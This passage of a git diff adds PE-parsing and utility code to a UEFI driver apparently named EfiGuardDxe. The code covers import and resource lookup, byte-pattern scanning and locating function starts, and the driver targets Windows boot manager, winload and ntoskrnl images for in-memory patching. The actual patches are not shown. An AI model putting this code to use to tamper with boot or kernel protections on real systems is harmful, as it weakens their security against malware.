((ThunkEntry->u1.Ordinal & IMAGE_ORDINAL_FLAG64) == 0 && // Ignore imports by ordinal + ImportByName->Name[0] != '\0' && + AsciiStriCmp(ImportByName->Name, FunctionName) == 0) + { + // Found the import + CONST UINT32 Rva = Descriptor->FirstThunk + j * sizeof(UINTN); + VOID* Va = (VOID*)((UINTN)(ImageBase) + Rva); + *FunctionIATAddress = Va; + return EFI_SUCCESS; + } + + ThunkEntry = (PIMAGE_THUNK_DATA64)((UINTN)ThunkEntry + sizeof(IMAGE_THUNK_DATA64)); + } + } + else + { + PIMAGE_THUNK_DATA32 ThunkEntry = (PIMAGE_THUNK_DATA32)ThunkData; + + for (UINT32 j = 0; ThunkEntry->u1.AddressOfData > 0; ++j) + { + CONST PIMAGE_IMPORT_BY_NAME ImportByName = (PIMAGE_IMPORT_BY_NAME)( + (UINTN)ImageBase + ThunkEntry->u1.AddressOfData); + + if ((ThunkEntry->u1.Ordinal & IMAGE_ORDINAL_FLAG32) == 0 && // Ignore imports by ordinal + ImportByName->Name[0] != '\0' && + AsciiStriCmp(ImportByName->Name, FunctionName) == 0) + { + // Found the import + CONST UINT32 Rva = Descriptor->FirstThunk + j * sizeof(UINTN); + VOID* Va = (VOID*)((UINTN)ImageBase + Rva); + *FunctionIATAddress = Va; + return EFI_SUCCESS; + } + + ThunkEntry = (PIMAGE_THUNK_DATA32)((UINTN)ThunkEntry + sizeof(IMAGE_THUNK_DATA32)); + } + } + } + return EFI_NOT_FOUND; +} + + +UINT32 +EFIAPI +RvaToOffset( + IN PEFI_IMAGE_NT_HEADERS NtHeaders, + IN UINT32 Rva + ) +{ + PEFI_IMAGE_SECTION_HEADER SectionHeaders = IMAGE_FIRST_SECTION(NtHeaders); + CONST UINT16 NumberOfSections = NtHeaders->FileHeader.NumberOfSections; + UINT32 Result = 0; + for (UINT16 i = 0; i < NumberOfSections; ++i) + { + if (SectionHeaders->VirtualAddress <= Rva && + SectionHeaders->VirtualAddress + SectionHeaders->Misc.VirtualSize > Rva) + { + Result = Rva - SectionHeaders->VirtualAddress + + SectionHeaders->PointerToRawData; + break; + } + SectionHeaders++; + } + return Result; +} + +// The kernel and ntdll divide this into [ RtlImageDirectoryEntryToData -> RtlpImageDirectoryEntryToData -> +// { RtlpImageDirectoryEntryToData32 / RtlpImageDirectoryEntryToData64 } -> RtlpAddressInSectionTable -> +// RtlpSectionTableFromVirtualAddress ], but with some macro help and RvaToOffset it can be limited to one function +VOID* +EFIAPI +RtlpImageDirectoryEntryToDataEx( + IN VOID* Base, + IN BOOLEAN MappedAsImage, + IN UINT16 DirectoryEntry, + OUT UINT32 *Size + ) +{ + if (LDR_IS_DATAFILE(Base)) + { + Base = LDR_DATAFILE_TO_VIEW(Base); + MappedAsImage = FALSE; + } + + CONST PEFI_IMAGE_NT_HEADERS NtHeaders = RtlpImageNtHeaderEx(Base, 0); + if (NtHeaders == NULL) + return NULL; + + if (DirectoryEntry >= HEADER_FIELD(NtHeaders, NumberOfRvaAndSizes)) + return NULL; + + CONST PEFI_IMAGE_DATA_DIRECTORY Directories = HEADER_FIELD(NtHeaders, DataDirectory); + CONST UINT32 Rva = Directories[DirectoryEntry].VirtualAddress; + if (Rva == 0) + return NULL; + + // Omitted: check for illegal UM <-> KM boundary crossing as it is N/A for us + + *Size = Directories[DirectoryEntry].Size; + if (MappedAsImage || Rva < HEADER_FIELD(NtHeaders, SizeOfHeaders)) + { + return (VOID*)((UINT8*)(Base) + Rva); + } + + return (VOID*)((UINT8*)(Base) + RvaToOffset(NtHeaders, Rva)); +} + +// Similar to LdrFindResource_U + LdrAccessResource combined, with some shortcuts for size optimization: +// - Only IDs are supported for type/name/language, not strings. Named entries ("MUI", "RCDATA", ...) are ignored. +// - Only images are supported, not mapped data files (e.g. LoadLibrary(..., LOAD_LIBRARY_AS_DATAFILE) data). +// - Language ID matching is greatly simplified. Either supply 0 (first entry wins) or an exact match ID. There are no fallbacks for similar languages, user preferences, etc. +// - The path length is assumed to always be 3: Type -> Name -> Language, with a data entry as leaf node. +// +// NB: The output will be a direct pointer to the resource data, which on Windows usually means it is read only, and on UEFI +// means writing to it is probably not what you want. This is the same behaviour as LdrAccessResource() but easy to forget. +// If you need to modify the data or unload the original image at some point, copy the data first. +EFI_STATUS +EFIAPI +FindResourceDataById( + IN VOID* ImageBase, + IN UINT16 TypeId, + IN UINT16 NameId, + IN UINT16 LanguageId OPTIONAL, + OUT VOID** ResourceData OPTIONAL, + OUT UINT32* ResourceSize + ) +{ + if (ResourceData != NULL) + *ResourceData = NULL; + *ResourceSize = 0; + + ASSERT((!LDR_IS_DATAFILE(ImageBase))); + + UINT32 Size = 0; + EFI_IMAGE_RESOURCE_DIRECTORY *ResourceDirTable = (EFI_IMAGE_RESOURCE_DIRECTORY*) + RtlpImageDirectoryEntryToDataEx(ImageBase, + TRUE, + EFI_IMAGE_DIRECTORY_ENTRY_RESOURCE, + &Size); + if (ResourceDirTable == NULL || Size == 0) + return EFI_NOT_FOUND; + + CONST UINT8* ResourceDirVa = (UINT8*)ResourceDirTable; + EFI_IMAGE_RESOURCE_DIRECTORY_ENTRY *DirEntry = NULL; + for (UINT16 i = ResourceDirTable->NumberOfNamedEntries; i < ResourceDirTable->NumberOfNamedEntries + ResourceDirTable->NumberOfIdEntries; ++i) + { + DirEntry = (EFI_IMAGE_RESOURCE_DIRECTORY_ENTRY*)((UINT8*)ResourceDirTable + sizeof(EFI_IMAGE_RESOURCE_DIRECTORY) + (i * sizeof(EFI_IMAGE_RESOURCE_DIRECTORY_ENTRY))); + if ((BOOLEAN)DirEntry->u1.s.NameIsString) + continue; + if (DirEntry->u1.Id == TypeId && DirEntry->u2.s.DataIsDirectory) + break; + } + if (DirEntry == NULL || DirEntry->u1.Id != TypeId) + return EFI_NOT_FOUND; + + ResourceDirTable = (EFI_IMAGE_RESOURCE_DIRECTORY*)(ResourceDirVa + DirEntry->u2.s.OffsetToDirectory); + DirEntry = NULL; + for (UINT16 i = ResourceDirTable->NumberOfNamedEntries; i < ResourceDirTable->NumberOfNamedEntries + ResourceDirTable->NumberOfIdEntries; ++i) + { + DirEntry = (EFI_IMAGE_RESOURCE_DIRECTORY_ENTRY*)((UINT8*)ResourceDirTable + sizeof(EFI_IMAGE_RESOURCE_DIRECTORY) + (i * sizeof(EFI_IMAGE_RESOURCE_DIRECTORY_ENTRY))); + if ((BOOLEAN)DirEntry->u1.s.NameIsString) + continue; + if (DirEntry->u1.Id == NameId && DirEntry->u2.s.DataIsDirectory) + break; + } + if (DirEntry == NULL || DirEntry->u1.Id != NameId) + return EFI_NOT_FOUND; + + ResourceDirTable = (EFI_IMAGE_RESOURCE_DIRECTORY*)(ResourceDirVa + DirEntry->u2.s.OffsetToDirectory); + DirEntry = NULL; + for (UINT16 i = ResourceDirTable->NumberOfNamedEntries; i < ResourceDirTable->NumberOfNamedEntries + ResourceDirTable->NumberOfIdEntries; ++i) + { + DirEntry = (EFI_IMAGE_RESOURCE_DIRECTORY_ENTRY*)((UINT8*)ResourceDirTable + sizeof(EFI_IMAGE_RESOURCE_DIRECTORY) + (i * sizeof(EFI_IMAGE_RESOURCE_DIRECTORY_ENTRY))); + if ((BOOLEAN)DirEntry->u1.s.NameIsString) + continue; + if ((LanguageId == 0 || DirEntry->u1.Id == LanguageId) && !DirEntry->u2.s.DataIsDirectory) + break; + } + if (DirEntry == NULL || (LanguageId != 0 && DirEntry->u1.Id != LanguageId)) + return EFI_INVALID_LANGUAGE; + + EFI_IMAGE_RESOURCE_DATA_ENTRY *DataEntry = (EFI_IMAGE_RESOURCE_DATA_ENTRY*)(ResourceDirVa + DirEntry->u2.OffsetToData); + if (ResourceData != NULL) + *ResourceData = (VOID*)((UINT8*)ImageBase + DataEntry->OffsetToData); + *ResourceSize = DataEntry->Size; + + return EFI_SUCCESS; +} + +EFI_STATUS +EFIAPI +GetPeFileVersionInfo( + IN VOID* ImageBase, + OUT UINT16* MajorVersion OPTIONAL, + OUT UINT16* MinorVersion OPTIONAL, + OUT UINT16* BuildNumber OPTIONAL, + OUT UINT16* Revision OPTIONAL, + OUT UINT32* FileFlags OPTIONAL + ) +{ + // Search the PE file's resource directory (if it exists) for a version info entry + VS_VERSIONINFO *VersionResource; + UINT32 VersionResourceSize; + CONST EFI_STATUS Status = FindResourceDataById(ImageBase, + RT_VERSION, + VS_VERSION_INFO, + MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), + (VOID**)&VersionResource, + &VersionResourceSize); + if (EFI_ERROR(Status)) + { + DEBUG((DEBUG_ERROR, "GetPeFileVersionInfo: FindResourceDataById returned %llx\r\n", Status)); + return Status; // Either no resource directory or no version info. Perhaps ASSERT() here as the files we patch should always have them + } + + if (VersionResourceSize < sizeof(VS_VERSIONINFO) || + StrnCmp(VersionResource->Name, L"VS_VERSION_INFO", (sizeof(L"VS_VERSION_INFO") / sizeof(CHAR16)) - 1) != 0 || + VersionResource->FixedFileInfo.dwSignature != 0xFEEF04BD) + { + DEBUG((DEBUG_ERROR, "GetPeFileVersionInfo: RESOURCE_VERSION_DATA at 0x%p is not valid\r\n", (VOID*)VersionResource)); + return EFI_NOT_FOUND; + } + + if (MajorVersion != NULL) + *MajorVersion = HIWORD(VersionResource->FixedFileInfo.dwFileVersionMS); + if (MinorVersion != NULL) + *MinorVersion = LOWORD(VersionResource->FixedFileInfo.dwFileVersionMS); + if (BuildNumber != NULL) + *BuildNumber = HIWORD(VersionResource->FixedFileInfo.dwFileVersionLS); + if (Revision != NULL) + *Revision = LOWORD(VersionResource->FixedFileInfo.dwFileVersionLS); + if (FileFlags != NULL) + *FileFlags = (VersionResource->FixedFileInfo.dwFileFlags & VersionResource->FixedFileInfo.dwFileFlagsMask); + + return EFI_SUCCESS; +} diff --git a/EfiGuardDxe/pe.h b/EfiGuardDxe/pe.h new file mode 100644 index 0000000..8c5f41c --- /dev/null +++ b/EfiGuardDxe/pe.h @@ -0,0 +1,252 @@ +#pragma once + +#include + + +// +// Typedefs +// +typedef EFI_IMAGE_NT_HEADERS32 *PEFI_IMAGE_NT_HEADERS32; +typedef EFI_IMAGE_NT_HEADERS64 *PEFI_IMAGE_NT_HEADERS64; + +#if defined(MDE_CPU_X64) +typedef EFI_IMAGE_NT_HEADERS64 EFI_IMAGE_NT_HEADERS, *PEFI_IMAGE_NT_HEADERS; +#elif defined(MDE_CPU_IA32) +typedef EFI_IMAGE_NT_HEADERS32 EFI_IMAGE_NT_HEADERS, *PEFI_IMAGE_NT_HEADERS; +#endif + +typedef EFI_IMAGE_DOS_HEADER *PEFI_IMAGE_DOS_HEADER; +typedef EFI_IMAGE_FILE_HEADER *PEFI_IMAGE_FILE_HEADER; +typedef EFI_IMAGE_SECTION_HEADER *PEFI_IMAGE_SECTION_HEADER; +typedef EFI_IMAGE_DATA_DIRECTORY *PEFI_IMAGE_DATA_DIRECTORY; +typedef EFI_IMAGE_EXPORT_DIRECTORY *PEFI_IMAGE_EXPORT_DIRECTORY; + +// ACHTUNG: DO NOT USE - EDK2 people didn't read the PE docs re: these it seems. Not very surprising since EFI files don't tend to use imports +//typedef EFI_IMAGE_IMPORT_BY_NAME *PEFI_IMAGE_IMPORT_BY_NAME; +//typedef EFI_IMAGE_THUNK_DATA *PEFI_IMAGE_THUNK_DATA; +//typedef EFI_IMAGE_IMPORT_DESCRIPTOR *PEFI_IMAGE_IMPORT_DESCRIPTOR; + + +// +// Defines +// +#define EFI_IMAGE_SUBSYSTEM_NATIVE 1 +#define EFI_IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION 16 + +#define IMAGE_ORDINAL_FLAG64 (0x8000000000000000) +#define IMAGE_ORDINAL_FLAG32 (0x80000000) + +#define RT_VERSION 16 +#define VS_VERSION_INFO 1 +#define VS_FF_DEBUG (0x00000001L) + +#define IMAGE32(NtHeaders) ((NtHeaders)->OptionalHeader.Magic == EFI_IMAGE_NT_OPTIONAL_HDR32_MAGIC) +#define IMAGE64(NtHeaders) ((NtHeaders)->OptionalHeader.Magic == EFI_IMAGE_NT_OPTIONAL_HDR64_MAGIC) + +#define HEADER_FIELD(NtHeaders, Field) (IMAGE64(NtHeaders) \ + ? ((PEFI_IMAGE_NT_HEADERS64)(NtHeaders))->OptionalHeader.Field \ + : ((PEFI_IMAGE_NT_HEADERS32)(NtHeaders))->OptionalHeader.Field) + +#define IMAGE_FIRST_SECTION(NtHeaders) ((PEFI_IMAGE_SECTION_HEADER) \ + ((UINTN)(NtHeaders) + \ + FIELD_OFFSET(EFI_IMAGE_NT_HEADERS, OptionalHeader) + \ + ((NtHeaders))->FileHeader.SizeOfOptionalHeader)) + + +// +// Type of file to patch +// +typedef enum _INPUT_FILETYPE +{ + Unknown, + + // BIOS boot manager/loader + Bootmgr, // Unsupported + WinloadExe, // Unsupported + + // EFI boot manager/loader + BootmgfwEfi, + BootmgrEfi, + WinloadEfi, + + // Kernel + Ntoskrnl +} INPUT_FILETYPE; + + +// +// Define (correct) import descriptor types and use their standard NT names because the EFI prefixed ones are taken +// + +#pragma pack(push, 4) // Use 4 byte packing + +typedef struct _IMAGE_IMPORT_BY_NAME +{ + UINT16 Hint; + CHAR8 Name[1]; +} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME; + +#pragma pack(pop) + +#pragma pack(push, 8) // 8 byte alignment for the 64 bit IAT + +typedef struct _IMAGE_THUNK_DATA64 +{ + union + { + UINT64 ForwarderString; // UINT8* + UINT64 Function; // UINT32* + UINT64 Ordinal; + UINT64 AddressOfData; // PIMAGE_IMPORT_BY_NAME + } u1; +} IMAGE_THUNK_DATA64, *PIMAGE_THUNK_DATA64; + +#pragma pack(pop) + +#pragma pack(push, 4) // Revert to 4 byte packing + +typedef struct _IMAGE_THUNK_DATA32 +{ + union + { + UINT32 ForwarderString; // UINT8* + UINT32 Function; // UINT32* + UINT32 Ordinal; + UINT32 AddressOfData; // PIMAGE_IMPORT_BY_NAME + } u1; +} IMAGE_THUNK_DATA32, *PIMAGE_THUNK_DATA32; + +typedef struct _IMAGE_IMPORT_DESCRIPTOR +{ + union + { + UINT32 Characteristics; // 0 for terminating null import descriptor + UINT32 OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) + } u; + UINT32 TimeDateStamp; // 0 if not bound, + // -1 if bound, and real date\time stamp + // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) + // O.W. date/time stamp of DLL bound to (Old BIND) + + UINT32 ForwarderChain; // -1 if no forwarders + UINT32 Name; + UINT32 FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) +} IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR; + +#pragma pack(pop) // Revert to original packing + + +// +// Version info data +// +typedef struct _VS_FIXEDFILEINFO +{ + UINT32 dwSignature; // 0xFEEF04BD + UINT32 dwStrucVersion; + UINT32 dwFileVersionMS; + UINT32 dwFileVersionLS; + UINT32 dwProductVersionMS; + UINT32 dwProductVersionLS; + UINT32 dwFileFlagsMask; + UINT32 dwFileFlags; + UINT32 dwFileOS; + UINT32 dwFileType; + UINT32 dwFileSubtype; + UINT32 dwFileDateMS; + UINT32 dwFileDateLS; +} VS_FIXEDFILEINFO; + +// +// Raw version info data as it appears in a PE file resource directory +// This struct is not in any SDK headers, not because it is super secret, but because MS +// is ashamed of it: https://docs.microsoft.com/en-gb/windows/desktop/menurc/vs-versioninfo +// +typedef struct _VS_VERSIONINFO +{ + UINT16 TotalSize; + UINT16 DataSize; + UINT16 Type; + CHAR16 Name[sizeof(L"VS_VERSION_INFO") / sizeof(CHAR16)]; // Size includes null terminator + VS_FIXEDFILEINFO FixedFileInfo; + // Omitted: padding fields that do not contribute to TotalSize +} VS_VERSIONINFO, *PVS_VERSIONINFO; + + +// +// Function declarations +// +PEFI_IMAGE_NT_HEADERS +EFIAPI +RtlpImageNtHeaderEx( + IN VOID* Base, + IN UINTN Size OPTIONAL + ); + +INPUT_FILETYPE +EFIAPI +GetInputFileType( + IN UINT8 *ImageBase, + IN UINTN ImageSize + ); + +CONST CHAR16* +EFIAPI +FileTypeToString( + IN INPUT_FILETYPE FileType + ); + +VOID* +EFIAPI +GetProcedureAddress( + IN UINTN DllBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders, + IN CHAR8* RoutineName + ); + +EFI_STATUS +EFIAPI +FindIATAddressForImport( + IN VOID* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders, + IN CONST CHAR8* ImportDllName, + IN CONST CHAR8* FunctionName, + OUT VOID **FunctionIATAddress + ); + +UINT32 +EFIAPI +RvaToOffset( + IN PEFI_IMAGE_NT_HEADERS NtHeaders, + IN UINT32 Rva + ); + +VOID* +EFIAPI +RtlpImageDirectoryEntryToDataEx( + IN VOID* Base, + IN BOOLEAN MappedAsImage, + IN UINT16 DirectoryEntry, + OUT UINT32 *Size + ); + +EFI_STATUS +EFIAPI +FindResourceDataById( + IN VOID* ImageBase, + IN UINT16 TypeId, + IN UINT16 NameId, + IN UINT16 LanguageId OPTIONAL, + OUT VOID** ResourceData OPTIONAL, + OUT UINT32* ResourceSize + ); + +EFI_STATUS +EFIAPI +GetPeFileVersionInfo( + IN VOID* ImageBase, + OUT UINT16* MajorVersion OPTIONAL, + OUT UINT16* MinorVersion OPTIONAL, + OUT UINT16* BuildNumber OPTIONAL, + OUT UINT16* Revision OPTIONAL, + OUT UINT32* FileFlags OPTIONAL + ); diff --git a/EfiGuardDxe/util.c b/EfiGuardDxe/util.c new file mode 100644 index 0000000..861c81d --- /dev/null +++ b/EfiGuardDxe/util.c @@ -0,0 +1,380 @@ +#include "EfiGuardDxe.h" +#include "util.h" + +#include +#include +#include +#include + +#ifndef ZYDIS_DISABLE_FORMATTER + +#include +#include + +STATIC ZydisFormatterFunc DefaultInstructionFormatter; + +#endif + +// +// When debugging, we can choose between poor debugging facilities (VirtualBox) or poor performance and Windows compatibility (QEMU). +// (I guess there is also the closed source thing with the horrible user interface that installs 50 drivers on the host (VMware)) +// This is a bandaid to make Print() calls readable ...for a while... when using VirtualBox or a live machine with no debugger +// +EFI_STATUS +EFIAPI +RtlSleep( + IN UINTN Milliseconds + ) +{ + ASSERT(gBS != NULL); + ASSERT(gBS->Stall != NULL); + + return gBS->Stall(Milliseconds * 1000); +} + +VOID +EFIAPI +PrintLoadedImageInfo( + IN EFI_LOADED_IMAGE *ImageInfo + ) +{ + CHAR16* PathString = ConvertDevicePathToText(ImageInfo->FilePath, TRUE, TRUE); + Print(L"\r\n[+] %s\r\n", PathString); + Print(L" -> ImageBase = %llx\r\n", ImageInfo->ImageBase); + Print(L" -> ImageSize = %llx\r\n", ImageInfo->ImageSize); + if (PathString != NULL) + FreePool(PathString); +} + +VOID +EFIAPI +AppendKernelPatchMessage( + IN CONST CHAR16 *Format, + ... + ) +{ + ASSERT(gKernelPatchInfo.BufferSize % sizeof(CHAR16) == 0); + ASSERT(gKernelPatchInfo.BufferSize < sizeof(gKernelPatchInfo.Buffer)); + + VA_LIST VaList; + VA_START(VaList, Format); + CONST UINTN NumCharsPrinted = UnicodeVSPrint(gKernelPatchInfo.Buffer + (gKernelPatchInfo.BufferSize / sizeof(CHAR16)), + sizeof(gKernelPatchInfo.Buffer) - gKernelPatchInfo.BufferSize, + Format, + VaList); + VA_END(VaList); + + ASSERT(gKernelPatchInfo.BufferSize + (NumCharsPrinted * sizeof(CHAR16)) < sizeof(gKernelPatchInfo.Buffer)); + gKernelPatchInfo.BufferSize += (NumCharsPrinted * sizeof(CHAR16)); + + // Paranoid null terminator (UnicodeVSPrint should do this) + *(CHAR16*)(gKernelPatchInfo.Buffer + (gKernelPatchInfo.BufferSize / sizeof(CHAR16))) = CHAR_NULL; + + // Separate the next message using the null terminator. This is because most Print() implementations crap out + // after ~4 lines (depending on PCDs), so we will print the final buffer using multiple calls to Print() + gKernelPatchInfo.BufferSize += sizeof(CHAR16); +} + +VOID +EFIAPI +PrintKernelPatchInfo( + ) +{ + ASSERT(gST->ConOut != NULL); + + UINTN NumChars = gKernelPatchInfo.BufferSize / sizeof(CHAR16); + if (NumChars * sizeof(CHAR16) >= sizeof(gKernelPatchInfo.Buffer) - sizeof(CHAR16)) + NumChars = sizeof(gKernelPatchInfo.Buffer) - (2 * sizeof(CHAR16)); // Avoid buffer overrun + + CHAR16* String = gKernelPatchInfo.Buffer; + String[NumChars] = String[NumChars + 1] = CHAR_NULL; // Ensure we have a double null terminator at the end + UINTN Length; + + // A double null terminator marks the end. It's just like that lovely Win32 getenv API that makes me want to kill myself every time I see it + while ((Length = StrLen(String)) != 0) + { + gST->ConOut->OutputString(gST->ConOut, String); + String += Length + 1; + } +} + +BOOLEAN +EFIAPI +WaitForKey( + ) +{ + // Hack: because we call this at TPL_NOTIFY in ExitBootServices, we cannot use WaitForEvent() + // in that scenario because it requires TPL == TPL_APPLICATION. So check the TPL + CONST EFI_TPL Tpl = EfiGetCurrentTpl(); + + EFI_INPUT_KEY Key = { 0, 0 }; + EFI_STATUS Status = EFI_NOT_READY; + + while (Status == EFI_NOT_READY) + { + // Can we call WaitForEvent()? + UINTN Index = 0; + if (Tpl == TPL_APPLICATION) + gBS->WaitForEvent(1, &gST->ConIn->WaitForKey, &Index); // Yep + else + RtlSleep(1); // Nope; burn CPU. // TODO: find a way to parallelize this to achieve GeForce FX 5800 temperatures + + // At TPL_APPLICATION, we will always get EFI_SUCCESS (barring hardware failures). At higher TPLs we may also get EFI_NOT_READY + Status = gST->ConIn->ReadKeyStroke(gST->ConIn, &Key); + } + + ASSERT_EFI_ERROR(Status); + return (BOOLEAN)(Key.ScanCode != SCAN_ESC); +} + +INT32 +EFIAPI +SetConsoleTextColour( + IN UINTN TextColour, + IN BOOLEAN ClearScreen + ) +{ + CONST INT32 OriginalAttribute = gST->ConOut->Mode->Attribute; + CONST UINTN BackgroundColour = (UINTN)((OriginalAttribute >> 4) & 0x7); + + gST->ConOut->SetAttribute(gST->ConOut, (TextColour | BackgroundColour)); + if (ClearScreen) + gST->ConOut->ClearScreen(gST->ConOut); + + return OriginalAttribute; +} + +// TODO: #ifdef EFI_DEBUG, this should keep a match count and continue until the end of the buffer, then ASSERT(MatchCount == 1) +EFI_STATUS +EFIAPI +FindPattern( + IN CONST UINT8* Pattern, + IN UINT8 Wildcard, + IN UINT32 PatternLength, + IN VOID* Base, + IN UINT32 Size, + OUT VOID **Found + ) +{ + if (Found == NULL || Pattern == NULL || Base == NULL) + return EFI_INVALID_PARAMETER; + + *Found = NULL; + + for (UINT8 *Address = (UINT8*)Base; Address < (UINT8*)((UINTN)Base + Size - PatternLength); ++Address) + { + UINT32 i; + for (i = 0; i < PatternLength; ++i) + { + if (Pattern[i] != Wildcard && (*(Address + i) != Pattern[i])) + break; + } + + if (i == PatternLength) + { + *Found = (VOID*)Address; + return EFI_SUCCESS; + } + } + + return EFI_NOT_FOUND; +} + +// For debugging non-working signatures. Not that I would ever need to do such a thing of course. Ha ha... ha +// TODO: #ifdef EFI_DEBUG, this should keep a match count and continue until the end of the buffer, then ASSERT(MatchCount == 1) +EFI_STATUS +EFIAPI +FindPatternVerbose( + IN CONST UINT8* Pattern, + IN UINT8 Wildcard, + IN UINT32 PatternLength, + IN VOID* Base, + IN UINT32 Size, + OUT VOID **Found + ) +{ + if (Found == NULL || Pattern == NULL || Base == NULL) + return EFI_INVALID_PARAMETER; + + *Found = NULL; + + CONST UINTN Start = (UINTN)Base; + CONST UINTN End = Start + Size - PatternLength; + EFI_STATUS Status = EFI_NOT_FOUND; + + UINT32 Max = 0; + UINT8 *AddrOfMax = NULL; + + for (UINT8 *Address = (UINT8*)Start; Address < (UINT8*)End; ++Address) + { + UINT32 i; + for (i = 0; i < PatternLength; ++i) + { + if (Pattern[i] != Wildcard && (*(Address + i) != Pattern[i])) + break; + } + + if (i > Max) + { + Max = i; + AddrOfMax = Address; + } + + if (i == PatternLength) + { + *Found = (VOID*)Address; + Status = EFI_SUCCESS; + } + } + + Print(L"\r\nBest match: %lu/%lu matched at 0x%p\r\n", Max, PatternLength, (VOID*)AddrOfMax); + + for (UINT32 i = 0; i < PatternLength && AddrOfMax != NULL; ++i) + { + if (Pattern[i] != Wildcard && (*(AddrOfMax + i) != Pattern[i])) + Print(L"[%lu] [X] %02X != %02X\r\n", i, (*(AddrOfMax + i)), Pattern[i]); // Mismatch + else if (Pattern[i] == Wildcard) + Print(L"[%lu] [ ] %02X\r\n", i, (*(AddrOfMax + i))); // Matched wildcard byte + else + Print(L"[%lu] [v] %02X\r\n", i, Pattern[i]); // Matched exact byte + } + + return Status; +} + +#ifndef ZYDIS_DISABLE_FORMATTER + +// Formatter hook to prefix the opcode bytes to the output +STATIC +ZyanStatus +ZydisInstructionBytesFormatter( + IN CONST ZydisFormatter* Formatter, + IN OUT ZydisFormatterBuffer* Buffer, + IN ZydisFormatterContext* Context + ) +{ + CONST ZyanU8 MaxOpcodeBytes = 12; // Print at most 10 bytes (so 20 characters), with room for ellip.. ses + + ZyanString *String; + ZYAN_CHECK(ZydisFormatterBufferGetString(Buffer, &String)); + + // We cannot use ZyanStringAppendFormat() because at the moment it may use dynamic memory allocation + // to resize the string buffer, with no way to disable this behaviour. Therefore call AsciiSPrint + for (ZyanU8 i = 0; i < MaxOpcodeBytes; ++i) + { + CONST ZyanUSize Length = String->vector.size; + UINTN N; + + if (i < Context->instruction->length && i < MaxOpcodeBytes - 2) + { + // Print one byte of the instruction + N = AsciiSPrint((CHAR8*)(String->vector.data) + Length - 1, + String->vector.capacity - Length + 1, + "%02X", + *(UINT8*)(Context->runtime_address + i)); + } + else if (i < Context->instruction->length && i == MaxOpcodeBytes - 2) + { + // This is a huge instruction; truncate remaining bytes with ellipses + N = AsciiSPrint((CHAR8*)(String->vector.data) + Length - 1, + String->vector.capacity - Length + 1, + "%a", + ".. "); + } + else + { + // Print an empty string for alignment padding + N = AsciiSPrint((CHAR8*)(String->vector.data) + Length - 1, + String->vector.capacity - Length + 1, + "%a", + " "); + } + + // Do bounds check. According to docs, an ASSERT() should have already happened + // if we went OOB, but debug asserts may be disabled on this platform + if ((INTN)N < 0 || N > (UINTN)(String->vector.capacity - Length)) + return ZYAN_STATUS_FAILED; + + String->vector.size += (ZyanUSize)N; + } + + // Call the default formatter to print the actual instruction text + return DefaultInstructionFormatter(Formatter, Buffer, Context); +} + +#endif + +ZyanStatus +EFIAPI +ZydisInit( + IN PEFI_IMAGE_NT_HEADERS NtHeaders, + OUT ZydisDecoder *Decoder, + OUT ZydisFormatter *Formatter OPTIONAL + ) +{ + ZyanStatus Status; + if (!ZYAN_SUCCESS((Status = ZydisDecoderInit(Decoder, + IMAGE64(NtHeaders) ? ZYDIS_MACHINE_MODE_LONG_64 : ZYDIS_MACHINE_MODE_LONG_COMPAT_32, + IMAGE64(NtHeaders) ? ZYDIS_ADDRESS_WIDTH_64 : ZYDIS_ADDRESS_WIDTH_32)))) + return Status; + +#ifdef ZYDIS_DISABLE_FORMATTER + ASSERT(Formatter == NULL); +#else + if (!ZYAN_SUCCESS((Status = ZydisFormatterInit(Formatter, ZYDIS_FORMATTER_STYLE_INTEL)))) + return Status; + if (!ZYAN_SUCCESS((Status = ZydisFormatterSetProperty(Formatter, ZYDIS_FORMATTER_PROP_FORCE_SIZE, ZYAN_TRUE)))) + return Status; + + DefaultInstructionFormatter = (ZydisFormatterFunc)&ZydisInstructionBytesFormatter; + if (!ZYAN_SUCCESS((Status = ZydisFormatterSetHook(Formatter, + ZYDIS_FORMATTER_FUNC_FORMAT_INSTRUCTION, + (CONST VOID**)&DefaultInstructionFormatter)))) + return Status; +#endif + + return ZYAN_STATUS_SUCCESS; +} + +UINT8* +EFIAPI +BacktrackToFunctionStart( + IN CONST UINT8* StartAddress, + IN CONST UINT8* LowerBound + ) +{ + // Test for null. This allows callers to do 'FindPattern(..., &Address); X = Backtrack(Address, ...)' with a single failure branch + if (StartAddress == NULL) + return NULL; + + ASSERT(StartAddress > LowerBound); + + UINT8 *Address; + BOOLEAN Found = FALSE; + for (Address = (UINT8*)StartAddress; Address >= LowerBound; --Address) + { + if ((*(Address - 1) == 0xCC || // Previous byte is int 3 padding, or + (*(Address - 2) == 0x90 && *(Address - 1) == 0x90) || // Previous 2 bytes are nop padding, or + (*(Address - 4) == 0x00 && *(Address - 3) == 0x00 && // Previous 4+ bytes are 00 padding (rare, only happens at start of a section), or + *(Address - 2) == 0x00 && *(Address - 1) == 0x00) || + (*(Address - 1) == 0xC3 && *(Address - 3) != 0x8D) // Previous byte is 'ret', or +#if defined(MDE_CPU_IA32) || defined(_M_IX86) + || (*(Address - 3) == 0xC2 && *(Address - 1) == 0x00) // Previous 3 bytes are 'ret XX' (x86) +#endif + ) + && // *and* + (*Address == 0x40 || *Address == 0x55 || // Current byte is either 'push [ebp|ebx|rbp|rbx]', 'mov REG, XX' or 'sub REG, XX' + (Address < StartAddress && *Address == 0x44 && *(Address + 1) == 0x89) || + (Address < StartAddress && *Address == 0x48 && *(Address + 1) == 0x83) || + (Address < StartAddress && *Address == 0x48 && *(Address + 1) == 0x89) || + (Address < StartAddress && *Address == 0x48 && *(Address + 1) == 0x8B) || + (Address < StartAddress && *Address == 0x49 && *(Address + 1) == 0x89) || + (Address < StartAddress && *Address == 0x4C && *(Address + 1) == 0x8B))) + { + Found = TRUE; + break; + } + } + + return Found ? Address : NULL; +} diff --git a/EfiGuardDxe/util.h b/EfiGuardDxe/util.h new file mode 100644 index 0000000..b42766d --- /dev/null +++ b/EfiGuardDxe/util.h @@ -0,0 +1,120 @@ +#pragma once + +#include "EfiGuardDxe.h" + +#include + +// +// Stalls CPU for N milliseconds +// +EFI_STATUS +EFIAPI 